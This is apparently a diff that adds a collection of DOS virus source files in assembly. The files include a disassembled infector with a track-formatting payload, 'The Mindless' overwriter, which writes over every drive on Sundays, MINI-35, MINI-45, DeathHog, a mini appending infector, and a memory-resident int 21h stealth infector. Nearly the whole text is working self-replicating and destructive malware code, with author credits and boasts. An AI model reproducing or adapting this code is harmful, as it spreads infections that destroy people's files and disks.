;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp al,6
je loc_15 ; Jump if equal
jnz loc_14 ; Jump if not zero
loc_14:
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
cmp dx,0
jne loc_16 ; Jump if not equal
cmp ax,4C3h
jae loc_16 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
retn
loc_15:
mov ah,5
mov ch,0
mov cl,0
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,1
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,2
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,3
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,4
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,5
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov dx,offset data_30 ; (7382:013F=0Ah)
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
call sub_9 ; (043A)
int 20h ; Program Terminate
loc_16:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_19 ; Jump if equal
cmp dx,0
jne loc_17 ; Jump if not equal
cmp ax,4C3h
jne loc_17 ; Jump if not equal
stc ; Set carry flag
retn
loc_17:
mov dx,bp
mov ax,di
push dx
push ax
add ax,4C3h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_22,di ; (7382:012B=0)
mov cs:data_23,es ; (7382:012D=7382h)
mov [si+2],dx
cmp dx,0
je loc_18 ; Jump if equal
inc ax
loc_18:
mov [si+4],ax
pop ax
pop dx
call sub_2 ; (038B)
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_17,di ; (7382:0121=0C3C3h)
mov data_18,es ; (7382:0123=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_19,ax ; (7382:0125=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
call sub_3 ; (039C)
jc loc_ret_19 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5 ; (03C8)
loc_ret_19:
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov cx,4
mov di,ax
and di,0Fh
locloop_20:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_20 ; Loop if cx > 0
mov dx,di
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ah,40h ; '@'
mov cx,4C3h
mov dx,100h
call sub_6 ; (03CF)
jmp short loc_21 ; (03C8)
db 90h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_4:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
loc_21:
pushf ; Push flags
call cs:data_24 ; (7382:012F=0)
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
mov cs:data_25,ax ; (7382:0133=0)
mov cs:data_26,es ; (7382:0135=7382h)
mov ax,431h
mov ds:data_5e,ax ; (0000:0090=5BFh)
mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h)
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
mov cs:data_28,ax ; (7382:013B=0)
mov cs:data_29,es ; (7382:013D=7382h)
les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=20D0h)
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=5BFh)
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=20D0h)
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_7 endp
db 0B0h, 3, 0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
retn
sub_9 endp
loc_22:
push ds
call sub_10 ; (044D)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_23 ; Jump if carry Set
jmp loc_33 ; (057D)
loc_23:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
mov cs:data_42e[si],ax ; (7382:FCEA=0)
mov cs:data_43e[si],es ; (7382:FCEC=0)
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
mov cs:data_40e[di],bx ; (7382:FCE2=0)
mov cs:data_41e[di],es ; (7382:FCE4=0)
mov ax,ds:data_7e ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_31 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=0F000h)
cmp ax,0F000h
je loc_24 ; Jump if equal
cmp ah,0C8h
jb loc_31 ; Jump if below
cmp ah,0F4h
jae loc_31 ; Jump if above or =
test al,7Fh
jnz loc_31 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
jne loc_31 ; Jump if not equal
mov dl,ds:data_45e ; (F000:0002=40h)
loc_24:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_25:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_26 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_27 ; Jump if equal
jnz loc_28 ; Jump if not zero
loc_26:
cmp ax,0C2F6h
jne loc_29 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_28 ; Jump if not equal
loc_27:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_30 ; Jump if equal
sub si,3
loc_28:
dec si
dec si
loc_29:
dec si
loop locloop_25 ; Loop if cx > 0
jmp short loc_31 ; (04EC)
loc_30:
sub si,7
mov cs:data_42e[di],si ; (7382:FCEA=0)
mov cs:data_43e[di],ds ; (7382:FCEC=0)
loc_31:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,4Eh
nop
jc loc_33 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Dh
stc ; Set carry flag
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
call sub_8 ; (0434)
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8 ; (0434)
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_32 ; Jump if carry Set
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
loc_32:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,34Dh
mov cx,4C3h
inc cx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
mov dx,1A8h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=6C7h)
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=14h)
loc_33:
pop si
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
jne loc_34 ; Jump if not equal
pop ds
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
push ds
pop es
call sub_9 ; (043A)
retf ; Return far
loc_34:
pop ax
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9 ; (043A)
retn
sub_10 endp
seg_a ends
end start
+228
View File
@@ -0,0 +1,228 @@
; The Mindless V1.0 Virus
;
; Type: *.COM Overwriter
;
; Programmer: Natas Kaupas
; Notes:
;
; Read the texts that come with this for all of the necessary
; info...if you've got any questions contact me on any YAM Dist. Sites.
;
; I Couldn't Have Made This Without:
;
; Soltan Griss -Kode4
; Data Disruptor -encrypted part
; Mr. Mike -typematic delay thing
; And Everyone I Forgot!
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
MINDL proc far
start label near
db 0E9h,00h,00h
vstart equ $
mov cx,09EBh ;debug killer
mov ax,0FE05h ;
jmp $-2 ;
add ah,03Bh ;
jmp $-10 ;
push ds ;save old data segment
sub ax,ax ;put zero in ax
push ax ;save it on stack
mov ah,2ah ;get date
int 21h
cmp al,0 ;is it a Sunday?
jne rater ;no...don't format then
doom:
mov ax,3301h ;turn off ^C Check
xor dl,dl ;0
int 21h
mov cx,lident ;this all has to do with the encrypted
mov si,offset ident ;message
mov di,offset dest ;
doshit:
mov al,ds:[si] ;unencrypt message
mov temp,al ;
xor byte ptr ds:[temp],01h ;
mov al,temp ;
mov [di],al ;
inc si ;
inc di ;
loop doshit ;loop back and finish it
doomb:
cmp drive,27 ;format all drives
jge boot ;done...then end (boot)
pushf ;push flags on
mov al,drive ;find drive
mov cx,sectors ;find sectors
mov dx,0 ;start at sector 0
mov bx,offset dest ;write encrypted message
int 26h ;format
popf ;pop flags off
inc drive ;go up to next drive
jmp doomb ;repeat
;this was originally going to boot...but for some reason it couldn't format in
;time (before the boot), so it didn't format...oh well.
boot:
mov dl,2ch ;get system time
int 21h
and dl,0Fh ;AND 100th seconds by 0Fh
or dl,dl ;0?
jz locker ;yes..then lock up system
mov cx,1980 ;date, 1980
mov dx,0 ;mon/day, 0
mov ah,2Bh ;set date
int 21h
mov cx,0 ;hrs/min, 0
mov dx,0 ;sec, 0
mov ah,2Dh ;set time
int 21h
mov ax,3301h ;turn ^C Check back on
mov dl,1 ;1
int 21h
mov ax,4c00h ;end with error message 00
int 21h
locker:
jmp $ ;lock up computer
rater:
mov al,dl
mov dl,0c0h ;unkown ms, really grinds on mine though!
jz valid ;it must be around 15ms
;which is slow considering default is 9ms
;and most floppies can actually go under 6ms
valid:
push ds ;Save the data segment
mov bx,78h ;point to pointer for floppy drive tables
mov ax,0
mov ds,ax ;set to segment 0
mov ax,[bx] ;get the pointer
mov bx,ax ;into the bx register
mov al,[bx] ;now get the present step rate
and al,0fh ;remove the old step rate
or al,dl ;put in the new step rate
mov [bx],al ;and put it back where it goes
mov ah,0 ;now call on the BIOS to
int 13h ;reload the set floppy disk controller
pop ds ;Reset the Data Segment
go_on:
push ds ;save present data segment
mov bx,78h ;point to pointer for floppy drive tables
mov ax,0
mov ds,ax ;set to segment 0
mov ax,[bx] ;get the pointer
mov bx,ax ;into the bx register
mov al,[bx] ;now get the step rate
pop ds
push ax ;save the step rate on the stack
typematic:
mov bl,repeat ;get the parameters
mov bh,init ;
mov ax,305h ;set typematic rate and delay
int 16h ;
xor al,al ;errorlevel = 0
n_start: mov ah,4Eh ;Find first Com file in directory
mov dx,offset filename ;use "*.com"
int 21h
Back:
mov ah,43h ;get rid of read only protection
mov al,0 ;
mov dx,9eh ;
int 21h ;
mov ah,43h ;
mov al,01 ;
and cx,11111110b ;
int 21h ;
mov ax,3D01h ;Open file for writing
mov dx,9Eh ;get file name from file data area
int 21h
mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h
push cx ;put in stack for later
push dx
mov dx,100h ;Start writing at 100h
mov cx,(vend-vstart) ;write ?? bytes
mov ah,40h ;Write Data into the file
int 21h
pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h
mov ah,3Eh ;Close the file
int 21h
mov ah,4Fh ;Find Next file
int 21h
jnc Back
done:
int 20h ;Terminate Program
V_Length equ vend-vstart
drive db ?
sectors dw 456
filename db "*.c*",0
ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
;encrypted message:
;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
; db "The Mindless Virus v1.0 ",13,10
lident equ $-ident
dest db [lident-1/2] dup (?)
temp db 0
repeat equ 250
init equ 0
mindl endp
vend equ $
seg_a ends
end start

+59
View File
@@ -0,0 +1,59 @@
; MINI-35 is Copyright (C) by Line Noise 1992...
; You are allowed to use this code in your own
; programs if you want, you are allowed to
; give this source away, sell it or whatever...
; None of the members of Line Noise should be held
; responsible for the consequences of the use
; of this program....
; Use this program at your own risk...
; Iow if you use this code, you agree with the above...
; The MINI-35 is based upon the MINI-45 from bulgaria(?).
; If anybody manages to shrink the code even more then
; leave me(Dark Wolf) a message at your nearest Virus BBS...
;
; Greetings from Dark Wolf/Line Noise
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
MINI PROC
START:
MOV AH,4Eh
MOV DX,OFFSET FMATCH ;address to file match
INT 21h ;DOS int, ah=function 4Eh
;find 1st filenam match@DS:DX
MOV AX,3D02h ;02=for read & write...
MOV DX,9Eh ;address to filename...
INT 21h ;DOS Services ah=function 3Dh
;open file, AL=mode,name@DS:DX
XCHG AX,BX ;BX = handle now
MOV DX,100h
MOV AH,40h ;Function 40h, write file
MOV CL,35 ;number of bytes to write
INT 21h ;CX=bytes, to DS:DX
;BX=file handle
MOV AH,3Eh ;function 3Eh, close file
INT 21h ;BX=file handle
RETN
FMATCH: DB '*.C*',0 ;The virus didn't want to
;work when I changed this
;to *.* or *...
;WHY NOT?! Anybody gotta
;hint on this?!
MINI ENDP
SEG_A ENDS
END START

+42
View File
@@ -0,0 +1,42 @@
.model tiny ;Sets memory model for TASM
.radix 16 ;Sets default number system to hexidecimal (base 16)
.code ;starts code section
org 100 ;makes program begin at 100h, i.e. a .COM file
start: ;beginning label
mov ah,4e ;set ah to 4e, sets function called by int 21
;to find first match
mov dx,offset file_mask ;sets search to look for *.com
search:
int 21 ;executes find first match function
jc quit ;if there aren't any files, ends
mov ax,3d02 ;open file read/write mode
mov dx,9e ;pointer to name found by findfirst
int 21
xchg ax,bx ;moves file handle to bx from ax
mov ah,40 ;sets ah to write to file function
mov cl,[ender-start] ;overwrites file
mov dx,100 ;starting address for coms, write from
int 21 ;beginning of virus
mov ah,3e
int 21 ;closes file handle
mov ah,4f
jmp short search ;jumps back set to find next
quit:
int 20 ;ends program
file_mask db '*.c*',0 ;file mask to match to programs
ender: ;label for size calculation
end start ;end of code
+50
View File
@@ -0,0 +1,50 @@
;***************************************************************
; DISASSEMBLY of the MINI-45 VIRUS
;***************************************************************
; FIND .COM FILE TO INFECT
;***************************************************************
MOV DX, 127h ;filehandle search criteria-27bytes
;away from beg. of file
MOV AH, 4Eh ;setup for Dos function-find file
INT 21h ;search for first file match
JB FILESPEC ;jump below and return
;****************************************************************
; OPEN FILE
;****************************************************************
FIRST_FILE:
MOV DX, 009Eh ;pointer to asciiz file spec
MOV AX, 3D02h ;moving 3d into ah=call dos to open file
;moving 02 into al=we want read\write
;access
INT 21h ;call dos function and open file.
;file handle found is put in ax register
JB NEXT_MATCH ;search for next match
;****************************************************************
; WRITE VIRUS CODE TO FILE
;****************************************************************
XCHG AX,BX ;put retrieved file handle from 3d open
;call into bx so it can be used for
;write function.
MOV DX, 0100h ;point to buffer of data to write, i.e.
;to myself
MOV CX, 002Dh ;#of bytes to write. 45d bytes
MOV AH, 40h ;setup write to file dos function
INT 21h ;write to file indicated in bx
;******************************************************************
; CLOSE FILE
;******************************************************************
MOV AH, 3Eh ;setup for dos function to close file
INT 21h ;close file
;******************************************************************
; FIND NEXT FILE MATCH
;******************************************************************
NEXT MATCH:
MOV AH, 4Fh ;search for next file match
JMP FIRST_FILE ;return above
;******************************************************************
;
FILESPEC:
db '*.com'
db 00

+64
View File
@@ -0,0 +1,64 @@
; DeathHog, (will defeat read-only files and appends itself to all
; files)
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
; r/w access, nuisance routines supplied by KOUCH
;
; Appended by Kouch, derived from DeathCow/Define (author unknown)
virus_length equ finish - start
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Eh ; DOS find first file function
mov dx,offset file_spec ; DX points to "*.*" - any file
int 021h
infect_file : mov ah,43H ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,09Eh ;attribute and changes it
int 21H ;to r/w access so that when
;it comes time to open the
mov ah,43H ;file, the virus can easily
mov al,1 ;defeat files with a 'read only'
mov dx,09Eh ;attribute. It leaves the file r/w,
mov cl,0 ;because who checks that, anyway?
int 21H
mov ax,03D01h ; DOS open file function, write-only
mov dx,09Eh ; DX points to the found file
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cl,virus_length ; CL holds # of bytes to write
mov dx,offset main ; DX points to start of code
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc infect_file ; Infect next file, if found
mov ah,31h ;insert 480K memory balloon
mov dx,7530h ;for nuisance value
int 21H ;it's big enough so 'out of
;memory' messages will start cropping up quickly
; RETurn to DOS
file_spec db "*.*",0 ; Files to infect: apped to all files
main endp
finish label near
code ends
end main
+113
View File
@@ -0,0 +1,113 @@
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ eind - start
FILNAM equ 69
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 100h
begin: db 4Dh
db 0E9, 4, 0
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: db 0CDh, 20h, 0, 0
push si ;si=0100
mov di,si
add si,[si+2] ;si=0104
push si
movsw
movsw
pop si ;si -> start (buffer)
mov dh,0FF ;set DTA to FF80
call setDTA
lea dx,[si+FILNAM] ;dx -> filename
mov ah,4Eh ;find first file
infloop: int 21
cwd ;set DTA to 0080 and quit
jc setDTA
mov dx,0FF9Eh
mov ax,3D02h ;open the file
call int21
jc exit1
xchg bx,ax
mov ah,3fh ;read begin of file
int 21
cmp byte ptr [si],4Dh ;EXE or infected COM?
je exit2
mov al,2 ;go to end of file
call seek
xchg ax,di
mov cl,FILELEN ;write program to end of file
mov ah,40h
int 21
mov al,0
call seek
mov word ptr [si],0E94Dh
mov word ptr [si+2],di
mov ah,40h
int 21
exit2: mov ah,3Eh ;close the file
int 21
exit1: mov ah,4Fh ;find next file
jmp short infloop
setDTA: mov dl,80
mov ah,1A
int 21
ret
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,04
mov dx,si
return: ret
;****************************************************************************
;* Data
;****************************************************************************
filename db '*.COM',0
eind:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+187
View File
@@ -0,0 +1,187 @@
;
;
;
org 100h
ofs:
push 100h
push ax
push ds
push es
mov dx,054h-(ofs/16)
mov es,dx
mov ax,es:ofs[0]
cmp ax,ofs[0]
je to_host
lea si,ofs
mov di,si
mov cx,virlength
rep movsb
mov ds,es
mov ax,3521h
int 21h
mov word ptr ds:old21[0],bx
mov word ptr ds:old21[2],es
mov ax,2521h
lea dx,new21
int 21h
to_host: pop es
pop ds
mov di,0fe00h
lea si,relocator
mov cx,rellength
rep movsb
jmp 0fe00h
old21 dd 0
relocator:
mov di,100h
orgofs: lea si,orgp
mov cx,virlength
rep movsb
pop ax
ret
rellength equ $-relocator
new21:
cmp ah,11h
je findfcb
cmp ah,12h
je findfcb
cmp ah,4eh
je find
cmp ah,4fh
je find
cmp ax,4b00h
je exec
jmp short dword ptr cs:[old21]
getdta:
pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS ; call orginal interrupt
cmp al,0 ; error ?
jne Ret1
call getdta
cmp byte ptr es:[bx],-1 ; extended fcb ?
jne FCBOk
add bx,8 ; yes, skip 8 bytes
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ch],Virlength ; adjust file-size
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLength
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
exec: push ax
push bx
push cx
push dx
push ds
push es
mov ax,3d02h
call dos
mov bx,0bc00h
mov ds,bx
mov bh,3fh
xchg ax,bx
xor dx,dx
mov cx,virlength
call dos
cmp word ptr ds:[0],'ZM'
je exe
cmp word ptr ds:[0],0068h ; push 100
jne noexe
exe: mov ah,3eh
call dos
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp short dword ptr cs:[old21]
noexe: mov ax,4202h
xor cx,cx
xor dx,dx
call dos
cmp ax,0fd00h
jae exe
cmp ax,virlength+10
jb exe
inc ah
mov word ptr cs:orgofs[1],ax
mov ax,5700h
call dos
or cx,1fh
push cx
push dx
mov ah,40h
xor dx,dx
mov cx,virlength
push cx
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
mov ds,cs
lea dx,ofs
pop cx
call dos
mov ax,5701h
pop dx
pop cx
call dos
jmp short exe
dos: pushf
call dword ptr cs:[old21]
ret
virlength equ $-ofs
orgp: int 20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
